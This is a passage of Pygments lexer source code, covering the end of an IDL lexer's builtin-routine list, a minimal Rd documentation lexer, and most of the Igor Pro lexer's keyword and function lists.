'compute_mesh_normals', 'cond', 'congrid', 'conj',
'constrained_min', 'contour', 'convert_coord', 'convol',
'convol_fft', 'coord2to3', 'copy_lun', 'correlate', 'cos',
'cosh', 'cpu', 'cramer', 'create_cursor', 'create_struct',
'create_view', 'crossp', 'crvlength', 'cti_test',
'ct_luminance', 'cursor', 'curvefit', 'cvttobm', 'cv_coord',
'cw_animate', 'cw_animate_getp', 'cw_animate_load',
'cw_animate_run', 'cw_arcball', 'cw_bgroup', 'cw_clr_index',
'cw_colorsel', 'cw_defroi', 'cw_field', 'cw_filesel',
'cw_form', 'cw_fslider', 'cw_light_editor',
'cw_light_editor_get', 'cw_light_editor_set', 'cw_orient',
'cw_palette_editor', 'cw_palette_editor_get',
'cw_palette_editor_set', 'cw_pdmenu', 'cw_rgbslider',
'cw_tmpl', 'cw_zoom', 'c_correlate', 'dblarr', 'db_exists',
'dcindgen', 'dcomplex', 'dcomplexarr', 'define_key',
'define_msgblk', 'define_msgblk_from_file', 'defroi',
'defsysv', 'delvar', 'dendrogram', 'dendro_plot', 'deriv',
'derivsig', 'determ', 'device', 'dfpmin', 'diag_matrix',
'dialog_dbconnect', 'dialog_message', 'dialog_pickfile',
'dialog_printersetup', 'dialog_printjob',
'dialog_read_image', 'dialog_write_image', 'digital_filter',
'dilate', 'dindgen', 'dissolve', 'dist', 'distance_measure',
'dlm_load', 'dlm_register', 'doc_library', 'double',
'draw_roi', 'edge_dog', 'efont', 'eigenql', 'eigenvec',
'ellipse', 'elmhes', 'emboss', 'empty', 'enable_sysrtn',
'eof', 'eos_[0-9a-za-z_]*', 'erase', 'erf', 'erfc', 'erfcx',
'erode', 'errorplot', 'errplot', 'estimator_filter',
'execute', 'exit', 'exp', 'expand', 'expand_path', 'expint',
'extrac', 'extract_slice', 'factorial', 'fft', 'filepath',
'file_basename', 'file_chmod', 'file_copy', 'file_delete',
'file_dirname', 'file_expand_path', 'file_info',
'file_lines', 'file_link', 'file_mkdir', 'file_move',
'file_poll_input', 'file_readlink', 'file_same',
'file_search', 'file_test', 'file_which', 'findgen',
'finite', 'fix', 'flick', 'float', 'floor', 'flow3',
'fltarr', 'flush', 'format_axis_values', 'free_lun',
'fstat', 'fulstr', 'funct', 'fv_test', 'fx_root',
'fz_roots', 'f_cvf', 'f_pdf', 'gamma', 'gamma_ct',
'gauss2dfit', 'gaussfit', 'gaussian_function', 'gaussint',
'gauss_cvf', 'gauss_pdf', 'gauss_smooth', 'getenv',
'getwindows', 'get_drive_list', 'get_dxf_objects',
'get_kbrd', 'get_login_info', 'get_lun', 'get_screen_size',
'greg2jul', 'grib_[0-9a-za-z_]*', 'grid3', 'griddata',
'grid_input', 'grid_tps', 'gs_iter',
'h5[adfgirst]_[0-9a-za-z_]*', 'h5_browser', 'h5_close',
'h5_create', 'h5_get_libversion', 'h5_open', 'h5_parse',
'hanning', 'hash', 'hdf_[0-9a-za-z_]*', 'heap_free',
'heap_gc', 'heap_nosave', 'heap_refcount', 'heap_save',
'help', 'hilbert', 'histogram', 'hist_2d', 'hist_equal',
'hls', 'hough', 'hqr', 'hsv', 'h_eq_ct', 'h_eq_int',
'i18n_multibytetoutf8', 'i18n_multibytetowidechar',
'i18n_utf8tomultibyte', 'i18n_widechartomultibyte',
'ibeta', 'icontour', 'iconvertcoord', 'idelete', 'identity',
'idlexbr_assistant', 'idlitsys_createtool', 'idl_base64',
'idl_validname', 'iellipse', 'igamma', 'igetcurrent',
'igetdata', 'igetid', 'igetproperty', 'iimage', 'image',
'image_cont', 'image_statistics', 'imaginary', 'imap',
'indgen', 'intarr', 'interpol', 'interpolate',
'interval_volume', 'int_2d', 'int_3d', 'int_tabulated',
'invert', 'ioctl', 'iopen', 'iplot', 'ipolygon',
'ipolyline', 'iputdata', 'iregister', 'ireset', 'iresolve',
'irotate', 'ir_filter', 'isa', 'isave', 'iscale',
'isetcurrent', 'isetproperty', 'ishft', 'isocontour',
'isosurface', 'isurface', 'itext', 'itranslate', 'ivector',
'ivolume', 'izoom', 'i_beta', 'journal', 'json_parse',
'json_serialize', 'jul2greg', 'julday', 'keyword_set',
'krig2d', 'kurtosis', 'kw_test', 'l64indgen', 'label_date',
'label_region', 'ladfit', 'laguerre', 'laplacian',
'la_choldc', 'la_cholmprove', 'la_cholsol', 'la_determ',
'la_eigenproblem', 'la_eigenql', 'la_eigenvec', 'la_elmhes',
'la_gm_linear_model', 'la_hqr', 'la_invert',
'la_least_squares', 'la_least_square_equality',
'la_linear_equation', 'la_ludc', 'la_lumprove', 'la_lusol',
'la_svd', 'la_tridc', 'la_trimprove', 'la_triql',
'la_trired', 'la_trisol', 'least_squares_filter', 'leefilt',
'legend', 'legendre', 'linbcg', 'lindgen', 'linfit',
'linkimage', 'list', 'll_arc_distance', 'lmfit', 'lmgr',
'lngamma', 'lnp_test', 'loadct', 'locale_get',
'logical_and', 'logical_or', 'logical_true', 'lon64arr',
'lonarr', 'long', 'long64', 'lsode', 'ludc', 'lumprove',
'lusol', 'lu_complex', 'machar', 'make_array', 'make_dll',
'make_rt', 'map', 'mapcontinents', 'mapgrid', 'map_2points',
'map_continents', 'map_grid', 'map_image', 'map_patch',
'map_proj_forward', 'map_proj_image', 'map_proj_info',
'map_proj_init', 'map_proj_inverse', 'map_set',
'matrix_multiply', 'matrix_power', 'max', 'md_test',
'mean', 'meanabsdev', 'mean_filter', 'median', 'memory',
'mesh_clip', 'mesh_decimate', 'mesh_issolid', 'mesh_merge',
'mesh_numtriangles', 'mesh_obj', 'mesh_smooth',
'mesh_surfacearea', 'mesh_validate', 'mesh_volume',
'message', 'min', 'min_curve_surf', 'mk_html_help',
'modifyct', 'moment', 'morph_close', 'morph_distance',
'morph_gradient', 'morph_hitormiss', 'morph_open',
'morph_thin', 'morph_tophat', 'multi', 'm_correlate',
'ncdf_[0-9a-za-z_]*', 'newton', 'noise_hurl', 'noise_pick',
'noise_scatter', 'noise_slur', 'norm', 'n_elements',
'n_params', 'n_tags', 'objarr', 'obj_class', 'obj_destroy',
'obj_hasmethod', 'obj_isa', 'obj_new', 'obj_valid',
'online_help', 'on_error', 'open', 'oplot', 'oploterr',
'parse_url', 'particle_trace', 'path_cache', 'path_sep',
'pcomp', 'plot', 'plot3d', 'ploterr', 'plots', 'plot_3dbox',
'plot_field', 'pnt_line', 'point_lun', 'polarplot',
'polar_contour', 'polar_surface', 'poly', 'polyfill',
'polyfillv', 'polygon', 'polyline', 'polyshade', 'polywarp',
'poly_2d', 'poly_area', 'poly_fit', 'popd', 'powell',
'pref_commit', 'pref_get', 'pref_set', 'prewitt', 'primes',
'print', 'printd', 'product', 'profile', 'profiler',
'profiles', 'project_vol', 'psafm', 'pseudo',
'ps_show_fonts', 'ptrarr', 'ptr_free', 'ptr_new',
'ptr_valid', 'pushd', 'p_correlate', 'qgrid3', 'qhull',
'qromb', 'qromo', 'qsimp', 'query_ascii', 'query_bmp',
'query_csv', 'query_dicom', 'query_gif', 'query_image',
'query_jpeg', 'query_jpeg2000', 'query_mrsid', 'query_pict',
'query_png', 'query_ppm', 'query_srf', 'query_tiff',
'query_wav', 'radon', 'randomn', 'randomu', 'ranks',
'rdpix', 'read', 'reads', 'readu', 'read_ascii',
'read_binary', 'read_bmp', 'read_csv', 'read_dicom',
'read_gif', 'read_image', 'read_interfile', 'read_jpeg',
'read_jpeg2000', 'read_mrsid', 'read_pict', 'read_png',
'read_ppm', 'read_spr', 'read_srf', 'read_sylk',
'read_tiff', 'read_wav', 'read_wave', 'read_x11_bitmap',
'read_xwd', 'real_part', 'rebin', 'recall_commands',
'recon3', 'reduce_colors', 'reform', 'region_grow',
'register_cursor', 'regress', 'replicate',
'replicate_inplace', 'resolve_all', 'resolve_routine',
'restore', 'retall', 'return', 'reverse', 'rk4', 'roberts',
'rot', 'rotate', 'round', 'routine_filepath',
'routine_info', 'rs_test', 'r_correlate', 'r_test',
'save', 'savgol', 'scale3', 'scale3d', 'scope_level',
'scope_traceback', 'scope_varfetch', 'scope_varname',
'search2d', 'search3d', 'sem_create', 'sem_delete',
'sem_lock', 'sem_release', 'setenv', 'set_plot',
'set_shading', 'sfit', 'shade_surf', 'shade_surf_irr',
'shade_volume', 'shift', 'shift_diff', 'shmdebug', 'shmmap',
'shmunmap', 'shmvar', 'show3', 'showfont', 'simplex', 'sin',
'sindgen', 'sinh', 'size', 'skewness', 'skip_lun',
'slicer3', 'slide_image', 'smooth', 'sobel', 'socket',
'sort', 'spawn', 'spher_harm', 'sph_4pnt', 'sph_scat',
'spline', 'spline_p', 'spl_init', 'spl_interp', 'sprsab',
'sprsax', 'sprsin', 'sprstp', 'sqrt', 'standardize',
'stddev', 'stop', 'strarr', 'strcmp', 'strcompress',
'streamline', 'stregex', 'stretch', 'string', 'strjoin',
'strlen', 'strlowcase', 'strmatch', 'strmessage', 'strmid',
'strpos', 'strput', 'strsplit', 'strtrim', 'struct_assign',
'struct_hide', 'strupcase', 'surface', 'surfr', 'svdc',
'svdfit', 'svsol', 'swap_endian', 'swap_endian_inplace',
'symbol', 'systime', 's_test', 't3d', 'tag_names', 'tan',
'tanh', 'tek_color', 'temporary', 'tetra_clip',
'tetra_surface', 'tetra_volume', 'text', 'thin', 'threed',
'timegen', 'time_test2', 'tm_test', 'total', 'trace',
'transpose', 'triangulate', 'trigrid', 'triql', 'trired',
'trisol', 'tri_surf', 'truncate_lun', 'ts_coef', 'ts_diff',
'ts_fcast', 'ts_smooth', 'tv', 'tvcrs', 'tvlct', 'tvrd',
'tvscl', 'typename', 't_cvt', 't_pdf', 'uindgen', 'uint',
'uintarr', 'ul64indgen', 'ulindgen', 'ulon64arr', 'ulonarr',
'ulong', 'ulong64', 'uniq', 'unsharp_mask', 'usersym',
'value_locate', 'variance', 'vector', 'vector_field', 'vel',
'velovect', 'vert_t3d', 'voigt', 'voronoi', 'voxel_proj',
'wait', 'warp_tri', 'watershed', 'wdelete', 'wf_draw',
'where', 'widget_base', 'widget_button', 'widget_combobox',
'widget_control', 'widget_displaycontextmen', 'widget_draw',
'widget_droplist', 'widget_event', 'widget_info',
'widget_label', 'widget_list', 'widget_propertysheet',
'widget_slider', 'widget_tab', 'widget_table',
'widget_text', 'widget_tree', 'widget_tree_move',
'widget_window', 'wiener_filter', 'window', 'writeu',
'write_bmp', 'write_csv', 'write_gif', 'write_image',
'write_jpeg', 'write_jpeg2000', 'write_nrif', 'write_pict',
'write_png', 'write_ppm', 'write_spr', 'write_srf',
'write_sylk', 'write_tiff', 'write_wav', 'write_wave',
'wset', 'wshow', 'wtn', 'wv_applet', 'wv_cwt',
'wv_cw_wavelet', 'wv_denoise', 'wv_dwt', 'wv_fn_coiflet',
'wv_fn_daubechies', 'wv_fn_gaussian', 'wv_fn_haar',
'wv_fn_morlet', 'wv_fn_paul', 'wv_fn_symlet',
'wv_import_data', 'wv_import_wavelet', 'wv_plot3d_wps',
'wv_plot_multires', 'wv_pwt', 'wv_tool_denoise',
'xbm_edit', 'xdisplayfile', 'xdxf', 'xfont',
'xinteranimate', 'xloadct', 'xmanager', 'xmng_tmpl',
'xmtool', 'xobjview', 'xobjview_rotate',
'xobjview_write_image', 'xpalette', 'xpcolor', 'xplot3d',
'xregistered', 'xroi', 'xsq_test', 'xsurface', 'xvaredit',
'xvolume', 'xvolume_rotate', 'xvolume_write_image',
'xyouts', 'zoom', 'zoom_24']
"""Functions from: http://www.exelisvis.com/docs/routines-1.html"""
tokens = {
'root': [
(r'^\s*;.*?\n', Comment.Singleline),
(r'\b(' + '|'.join(_RESERVED) + r')\b', Keyword),
(r'\b(' + '|'.join(_BUILTIN_LIB) + r')\b', Name.Builtin),
(r'\+=|-=|\^=|\*=|/=|#=|##=|<=|>=|=', Operator),
(r'\+\+|--|->|\+|-|##|#|\*|/|<|>|&&|\^|~|\|\|\?|:', Operator),
(r'\b(mod=|lt=|le=|eq=|ne=|ge=|gt=|not=|and=|or=|xor=)', Operator),
(r'\b(mod|lt|le|eq|ne|ge|gt|not|and|or|xor)\b', Operator),
(r'\b[0-9](L|B|S|UL|ULL|LL)?\b', Number),
(r'.', Text),
]
}
class RdLexer(RegexLexer):
"""
Pygments Lexer for R documentation (Rd) files
This is a very minimal implementation, highlighting little more
than the macros. A description of Rd syntax is found in `Writing R
Extensions <http://cran.r-project.org/doc/manuals/R-exts.html>`_
and `Parsing Rd files <developer.r-project.org/parseRd.pdf>`_.
*New in Pygments 1.6.*
"""
name = 'Rd'
aliases = ['rd']
filenames = ['*.Rd']
mimetypes = ['text/x-r-doc']
# To account for verbatim / LaTeX-like / and R-like areas
# would require parsing.
tokens = {
'root' : [
# catch escaped brackets and percent sign
(r'\\[\\{}%]', String.Escape),
# comments
(r'%.*$', Comment),
# special macros with no arguments
(r'\\(?:cr|l?dots|R|tab)\b', Keyword.Constant),
# macros
(r'\\[a-zA-Z]+\b', Keyword),
# special preprocessor macros
(r'^\s*#(?:ifn?def|endif).*\b', Comment.Preproc),
# non-escaped brackets
(r'[{}]', Name.Builtin),
# everything else
(r'[^\\%\n{}]+', Text),
(r'.', Text),
]
}
class IgorLexer(RegexLexer):
"""
Pygments Lexer for Igor Pro procedure files (.ipf).
See http://www.wavemetrics.com/ and http://www.igorexchange.com/.
*New in Pygments 1.7.*
"""
name = 'Igor'
aliases = ['igor', 'igorpro']
filenames = ['*.ipf']
mimetypes = ['text/ipf']
flags = re.IGNORECASE
flowControl = [
'if', 'else', 'elseif', 'endif', 'for', 'endfor', 'strswitch', 'switch',
'case', 'endswitch', 'do', 'while', 'try', 'catch', 'endtry', 'break',
'continue', 'return',
]
types = [
'variable', 'string', 'constant', 'strconstant', 'NVAR', 'SVAR', 'WAVE',
'STRUCT', 'ThreadSafe', 'function', 'end', 'static', 'macro', 'window',
'graph', 'Structure', 'EndStructure', 'EndMacro', 'FuncFit', 'Proc',
'Picture', 'Menu', 'SubMenu', 'Prompt', 'DoPrompt',
]
operations = [
'Abort', 'AddFIFOData', 'AddFIFOVectData', 'AddMovieAudio',
'AddMovieFrame', 'APMath', 'Append', 'AppendImage',
'AppendLayoutObject', 'AppendMatrixContour', 'AppendText',
'AppendToGraph', 'AppendToLayout', 'AppendToTable', 'AppendXYZContour',
'AutoPositionWindow', 'BackgroundInfo', 'Beep', 'BoundingBall',
'BrowseURL', 'BuildMenu', 'Button', 'cd', 'Chart', 'CheckBox',
'CheckDisplayed', 'ChooseColor', 'Close', 'CloseMovie', 'CloseProc',
'ColorScale', 'ColorTab2Wave', 'Concatenate', 'ControlBar',
'ControlInfo', 'ControlUpdate', 'ConvexHull', 'Convolve', 'CopyFile',
'CopyFolder', 'CopyScales', 'Correlate', 'CreateAliasShortcut', 'Cross',
'CtrlBackground', 'CtrlFIFO', 'CtrlNamedBackground', 'Cursor',
'CurveFit', 'CustomControl', 'CWT', 'Debugger', 'DebuggerOptions',
'DefaultFont', 'DefaultGuiControls', 'DefaultGuiFont', 'DefineGuide',
'DelayUpdate', 'DeleteFile', 'DeleteFolder', 'DeletePoints',
'Differentiate', 'dir', 'Display', 'DisplayHelpTopic',
'DisplayProcedure', 'DoAlert', 'DoIgorMenu', 'DoUpdate', 'DoWindow',
'DoXOPIdle', 'DrawAction', 'DrawArc', 'DrawBezier', 'DrawLine',
'DrawOval', 'DrawPICT', 'DrawPoly', 'DrawRect', 'DrawRRect', 'DrawText',
'DSPDetrend', 'DSPPeriodogram', 'Duplicate', 'DuplicateDataFolder',
'DWT', 'EdgeStats', 'Edit', 'ErrorBars', 'Execute', 'ExecuteScriptText',
'ExperimentModified', 'Extract', 'FastGaussTransform', 'FastOp',
'FBinRead', 'FBinWrite', 'FFT', 'FIFO2Wave', 'FIFOStatus', 'FilterFIR',
'FilterIIR', 'FindLevel', 'FindLevels', 'FindPeak', 'FindPointsInPoly',
'FindRoots', 'FindSequence', 'FindValue', 'FPClustering', 'fprintf',
'FReadLine', 'FSetPos', 'FStatus', 'FTPDelete', 'FTPDownload',
'FTPUpload', 'FuncFit', 'FuncFitMD', 'GetAxis', 'GetFileFolderInfo',
'GetLastUserMenuInfo', 'GetMarquee', 'GetSelection', 'GetWindow',
'GraphNormal', 'GraphWaveDraw', 'GraphWaveEdit', 'Grep', 'GroupBox',
'Hanning', 'HideIgorMenus', 'HideInfo', 'HideProcedures', 'HideTools',
'HilbertTransform', 'Histogram', 'IFFT', 'ImageAnalyzeParticles',
'ImageBlend', 'ImageBoundaryToMask', 'ImageEdgeDetection',
'ImageFileInfo', 'ImageFilter', 'ImageFocus', 'ImageGenerateROIMask',
'ImageHistModification', 'ImageHistogram', 'ImageInterpolate',
'ImageLineProfile', 'ImageLoad', 'ImageMorphology', 'ImageRegistration',
'ImageRemoveBackground', 'ImageRestore', 'ImageRotate', 'ImageSave',
'ImageSeedFill', 'ImageSnake', 'ImageStats', 'ImageThreshold',
'ImageTransform', 'ImageUnwrapPhase', 'ImageWindow', 'IndexSort',
'InsertPoints', 'Integrate', 'IntegrateODE', 'Interp3DPath',
'Interpolate3D', 'KillBackground', 'KillControl', 'KillDataFolder',
'KillFIFO', 'KillFreeAxis', 'KillPath', 'KillPICTs', 'KillStrings',
'KillVariables', 'KillWaves', 'KillWindow', 'KMeans', 'Label', 'Layout',
'Legend', 'LinearFeedbackShiftRegister', 'ListBox', 'LoadData',
'LoadPackagePreferences', 'LoadPICT', 'LoadWave', 'Loess',
'LombPeriodogram', 'Make', 'MakeIndex', 'MarkPerfTestTime',
'MatrixConvolve', 'MatrixCorr', 'MatrixEigenV', 'MatrixFilter',
'MatrixGaussJ', 'MatrixInverse', 'MatrixLinearSolve',
'MatrixLinearSolveTD', 'MatrixLLS', 'MatrixLUBkSub', 'MatrixLUD',
'MatrixMultiply', 'MatrixOP', 'MatrixSchur', 'MatrixSolve',
'MatrixSVBkSub', 'MatrixSVD', 'MatrixTranspose', 'MeasureStyledText',
'Modify', 'ModifyContour', 'ModifyControl', 'ModifyControlList',
'ModifyFreeAxis', 'ModifyGraph', 'ModifyImage', 'ModifyLayout',
'ModifyPanel', 'ModifyTable', 'ModifyWaterfall', 'MoveDataFolder',
'MoveFile', 'MoveFolder', 'MoveString', 'MoveSubwindow', 'MoveVariable',
'MoveWave', 'MoveWindow', 'NeuralNetworkRun', 'NeuralNetworkTrain',
'NewDataFolder', 'NewFIFO', 'NewFIFOChan', 'NewFreeAxis', 'NewImage',
'NewLayout', 'NewMovie', 'NewNotebook', 'NewPanel', 'NewPath',
'NewWaterfall', 'Note', 'Notebook', 'NotebookAction', 'Open',
'OpenNotebook', 'Optimize', 'ParseOperationTemplate', 'PathInfo',
'PauseForUser', 'PauseUpdate', 'PCA', 'PlayMovie', 'PlayMovieAction',
'PlaySnd', 'PlaySound', 'PopupContextualMenu', 'PopupMenu',
'Preferences', 'PrimeFactors', 'Print', 'printf', 'PrintGraphs',
'PrintLayout', 'PrintNotebook', 'PrintSettings', 'PrintTable',
'Project', 'PulseStats', 'PutScrapText', 'pwd', 'Quit',
'RatioFromNumber', 'Redimension', 'Remove', 'RemoveContour',
'RemoveFromGraph', 'RemoveFromLayout', 'RemoveFromTable', 'RemoveImage',
'RemoveLayoutObjects', 'RemovePath', 'Rename', 'RenameDataFolder',
'RenamePath', 'RenamePICT', 'RenameWindow', 'ReorderImages',
'ReorderTraces', 'ReplaceText', 'ReplaceWave', 'Resample',
'ResumeUpdate', 'Reverse', 'Rotate', 'Save', 'SaveData',
'SaveExperiment', 'SaveGraphCopy', 'SaveNotebook',
'SavePackagePreferences', 'SavePICT', 'SaveTableCopy',
'SetActiveSubwindow', 'SetAxis', 'SetBackground', 'SetDashPattern',
'SetDataFolder', 'SetDimLabel', 'SetDrawEnv', 'SetDrawLayer',
'SetFileFolderInfo', 'SetFormula', 'SetIgorHook', 'SetIgorMenuMode',
'SetIgorOption', 'SetMarquee', 'SetProcessSleep', 'SetRandomSeed',
'SetScale', 'SetVariable', 'SetWaveLock', 'SetWindow', 'ShowIgorMenus',
'ShowInfo', 'ShowTools', 'Silent', 'Sleep', 'Slider', 'Smooth',
'SmoothCustom', 'Sort', 'SoundInRecord', 'SoundInSet',
'SoundInStartChart', 'SoundInStatus', 'SoundInStopChart',
'SphericalInterpolate', 'SphericalTriangulate', 'SplitString',
'sprintf', 'sscanf', 'Stack', 'StackWindows',
'StatsAngularDistanceTest', 'StatsANOVA1Test', 'StatsANOVA2NRTest',
'StatsANOVA2RMTest', 'StatsANOVA2Test', 'StatsChiTest',
'StatsCircularCorrelationTest', 'StatsCircularMeans',
'StatsCircularMoments', 'StatsCircularTwoSampleTest',
'StatsCochranTest', 'StatsContingencyTable', 'StatsDIPTest',
'StatsDunnettTest', 'StatsFriedmanTest', 'StatsFTest',
'StatsHodgesAjneTest', 'StatsJBTest', 'StatsKendallTauTest',
'StatsKSTest', 'StatsKWTest', 'StatsLinearCorrelationTest',
'StatsLinearRegression', 'StatsMultiCorrelationTest',
'StatsNPMCTest', 'StatsNPNominalSRTest', 'StatsQuantiles',
'StatsRankCorrelationTest', 'StatsResample', 'StatsSample',
'StatsScheffeTest', 'StatsSignTest', 'StatsSRTest', 'StatsTTest',
'StatsTukeyTest', 'StatsVariancesTest', 'StatsWatsonUSquaredTest',
'StatsWatsonWilliamsTest', 'StatsWheelerWatsonTest',
'StatsWilcoxonRankTest', 'StatsWRCorrelationTest', 'String',
'StructGet', 'StructPut', 'TabControl', 'Tag', 'TextBox', 'Tile',
'TileWindows', 'TitleBox', 'ToCommandLine', 'ToolsGrid',
'Triangulate3d', 'Unwrap', 'ValDisplay', 'Variable', 'WaveMeanStdv',
'WaveStats', 'WaveTransform', 'wfprintf', 'WignerTransform',
'WindowFunction',
]
functions = [
'abs', 'acos', 'acosh', 'AiryA', 'AiryAD', 'AiryB', 'AiryBD', 'alog',
'area', 'areaXY', 'asin', 'asinh', 'atan', 'atan2', 'atanh',
'AxisValFromPixel', 'Besseli', 'Besselj', 'Besselk', 'Bessely', 'bessi',
'bessj', 'bessk', 'bessy', 'beta', 'betai', 'BinarySearch',
'BinarySearchInterp', 'binomial', 'binomialln', 'binomialNoise', 'cabs',
'CaptureHistoryStart', 'ceil', 'cequal', 'char2num', 'chebyshev',
'chebyshevU', 'CheckName', 'cmplx', 'cmpstr', 'conj', 'ContourZ', 'cos',
'cosh', 'cot', 'CountObjects', 'CountObjectsDFR', 'cpowi',
'CreationDate', 'csc', 'DataFolderExists', 'DataFolderRefsEqual',
'DataFolderRefStatus', 'date2secs', 'datetime', 'DateToJulian',
'Dawson', 'DDEExecute', 'DDEInitiate', 'DDEPokeString', 'DDEPokeWave',
'DDERequestWave', 'DDEStatus', 'DDETerminate', 'deltax', 'digamma',
'DimDelta', 'DimOffset', 'DimSize', 'ei', 'enoise', 'equalWaves', 'erf',
'erfc', 'exists', 'exp', 'expInt', 'expNoise', 'factorial', 'fakedata',
'faverage', 'faverageXY', 'FindDimLabel', 'FindListItem', 'floor',
'FontSizeHeight', 'FontSizeStringWidth', 'FresnelCos', 'FresnelSin',
'gamma', 'gammaInc', 'gammaNoise', 'gammln', 'gammp', 'gammq', 'Gauss',
'Gauss1D', 'Gauss2D', 'gcd', 'GetDefaultFontSize',
'GetDefaultFontStyle', 'GetKeyState', 'GetRTError', 'gnoise',
'GrepString', 'hcsr', 'hermite', 'hermiteGauss', 'HyperG0F1',
'HyperG1F1', 'HyperG2F1', 'HyperGNoise', 'HyperGPFQ', 'IgorVersion',
'ilim', 'imag', 'Inf', 'Integrate1D', 'interp', 'Interp2D', 'Interp3D',
'inverseERF', 'inverseERFC', 'ItemsInList', 'jlim', 'Laguerre',
'LaguerreA', 'LaguerreGauss', 'leftx', 'LegendreA', 'limit', 'ln',
'log', 'logNormalNoise', 'lorentzianNoise', 'magsqr', 'MandelbrotPoint',
'MarcumQ', 'MatrixDet', 'MatrixDot', 'MatrixRank', 'MatrixTrace', 'max',
'mean', 'min', 'mod', 'ModDate', 'NaN', 'norm', 'NumberByKey',
'numpnts', 'numtype', 'NumVarOrDefault', 'NVAR_Exists', 'p2rect',
'ParamIsDefault', 'pcsr', 'Pi', 'PixelFromAxisVal', 'pnt2x',
'poissonNoise', 'poly', 'poly2D', 'PolygonArea', 'qcsr', 'r2polar',
'real', 'rightx', 'round', 'sawtooth', 'ScreenResolution', 'sec',
'SelectNumber', 'sign', 'sin', 'sinc', 'sinh', 'SphericalBessJ',
'SphericalBessJD', 'SphericalBessY', 'SphericalBessYD',
'SphericalHarmonics', 'sqrt', 'StartMSTimer', 'StatsBetaCDF',
'StatsBetaPDF', 'StatsBinomialCDF', 'StatsBinomialPDF',
'StatsCauchyCDF', 'StatsCauchyPDF', 'StatsChiCDF', 'StatsChiPDF',
'StatsCMSSDCDF', 'StatsCorrelation', 'StatsDExpCDF', 'StatsDExpPDF',
'StatsErlangCDF', 'StatsErlangPDF', 'StatsErrorPDF', 'StatsEValueCDF',
'StatsEValuePDF', 'StatsExpCDF', 'StatsExpPDF', 'StatsFCDF',
'StatsFPDF', 'StatsFriedmanCDF', 'StatsGammaCDF', 'StatsGammaPDF',
'StatsGeometricCDF', 'StatsGeometricPDF', 'StatsHyperGCDF',
'StatsHyperGPDF', 'StatsInvBetaCDF', 'StatsInvBinomialCDF',
'StatsInvCauchyCDF', 'StatsInvChiCDF', 'StatsInvCMSSDCDF',
'StatsInvDExpCDF', 'StatsInvEValueCDF', 'StatsInvExpCDF',
'StatsInvFCDF', 'StatsInvFriedmanCDF', 'StatsInvGammaCDF',
'StatsInvGeometricCDF', 'StatsInvKuiperCDF', 'StatsInvLogisticCDF',
'StatsInvLogNormalCDF', 'StatsInvMaxwellCDF', 'StatsInvMooreCDF',
'StatsInvNBinomialCDF', 'StatsInvNCChiCDF', 'StatsInvNCFCDF',
'StatsInvNormalCDF', 'StatsInvParetoCDF', 'StatsInvPoissonCDF',
'StatsInvPowerCDF', 'StatsInvQCDF', 'StatsInvQpCDF',
'StatsInvRayleighCDF', 'StatsInvRectangularCDF', 'StatsInvSpearmanCDF',
'StatsInvStudentCDF', 'StatsInvTopDownCDF', 'StatsInvTriangularCDF',
'StatsInvUsquaredCDF', 'StatsInvVonMisesCDF', 'StatsInvWeibullCDF',
'StatsKuiperCDF', 'StatsLogisticCDF', 'StatsLogisticPDF',
'StatsLogNormalCDF', 'StatsLogNormalPDF', 'StatsMaxwellCDF',
'StatsMaxwellPDF', 'StatsMedian', 'StatsMooreCDF', 'StatsNBinomialCDF',
'StatsNBinomialPDF', 'StatsNCChiCDF', 'StatsNCChiPDF', 'StatsNCFCDF',
'StatsNCFPDF', 'StatsNCTCDF', 'StatsNCTPDF', 'StatsNormalCDF',
'StatsNormalPDF', 'StatsParetoCDF', 'StatsParetoPDF', 'StatsPermute',
'StatsPoissonCDF', 'StatsPoissonPDF', 'StatsPowerCDF',
'StatsPowerNoise', 'StatsPowerPDF', 'StatsQCDF', 'StatsQpCDF',
'StatsRayleighCDF', 'StatsRayleighPDF', 'StatsRectangularCDF',
'StatsRectangularPDF', 'StatsRunsCDF', 'StatsSpearmanRhoCDF',
'StatsStudentCDF', 'StatsStudentPDF', 'StatsTopDownCDF',
'StatsTriangularCDF', 'StatsTriangularPDF', 'StatsTrimmedMean',
'StatsUSquaredCDF', 'StatsVonMisesCDF', 'StatsVonMisesNoise',
'StatsVonMisesPDF', 'StatsWaldCDF', 'StatsWaldPDF', 'StatsWeibullCDF',
'StatsWeibullPDF', 'StopMSTimer', 'str2num', 'stringCRC', 'stringmatch',
'strlen', 'strsearch', 'StudentA', 'StudentT', 'sum', 'SVAR_Exists',
'TagVal', 'tan', 'tanh', 'ThreadGroupCreate', 'ThreadGroupRelease',
'ThreadGroupWait', 'ThreadProcessorCount', 'ThreadReturnValue', 'ticks',
'trunc', 'Variance', 'vcsr', 'WaveCRC', 'WaveDims', 'WaveExists',
'WaveMax', 'WaveMin', 'WaveRefsEqual', 'WaveType', 'WhichListItem',
'WinType', 'WNoise', 'x', 'x2pnt', 'xcsr', 'y', 'z', 'zcsr', 'ZernikeR',
]
functions += [
'AddListItem', 'AnnotationInfo', 'AnnotationList', 'AxisInfo',
'AxisList', 'CaptureHistory', 'ChildWindowList', 'CleanupName',
'ContourInfo', 'ContourNameList', 'ControlNameList', 'CsrInfo',
'CsrWave', 'CsrXWave', 'CTabList', 'DataFolderDir', 'date',
'DDERequestString', 'FontList', 'FuncRefInfo', 'FunctionInfo',
'FunctionList', 'FunctionPath', 'GetDataFolder', 'GetDefaultFont',
'GetDimLabel', 'GetErrMessage', 'GetFormula',
'GetIndependentModuleName', 'GetIndexedObjName', 'GetIndexedObjNameDFR',
'GetRTErrMessage', 'GetRTStackInfo', 'GetScrapText', 'GetUserData',
'GetWavesDataFolder', 'GrepList', 'GuideInfo', 'GuideNameList', 'Hash',
'IgorInfo', 'ImageInfo', 'ImageNameList', 'IndexedDir', 'IndexedFile',
'JulianToDate', 'LayoutInfo', 'ListMatch', 'LowerStr', 'MacroList',
'NameOfWave', 'note', 'num2char', 'num2istr', 'num2str',
'OperationList', 'PadString', 'ParseFilePath', 'PathList', 'PICTInfo',
'PICTList', 'PossiblyQuoteName', 'ProcedureText', 'RemoveByKey',
'RemoveEnding', 'RemoveFromList', 'RemoveListItem',
'ReplaceNumberByKey', 'ReplaceString', 'ReplaceStringByKey',
'Secs2Date', 'Secs2Time', 'SelectString', 'SortList',
'SpecialCharacterInfo', 'SpecialCharacterList', 'SpecialDirPath',
'StringByKey', 'StringFromList', 'StringList', 'StrVarOrDefault',
'TableInfo', 'TextFile', 'ThreadGroupGetDF', 'time', 'TraceFromPixel',
'TraceInfo', 'TraceNameList', 'UniqueName', 'UnPadString', 'UpperStr',
'VariableList', 'WaveInfo', 'WaveList', 'WaveName', 'WaveUnits',
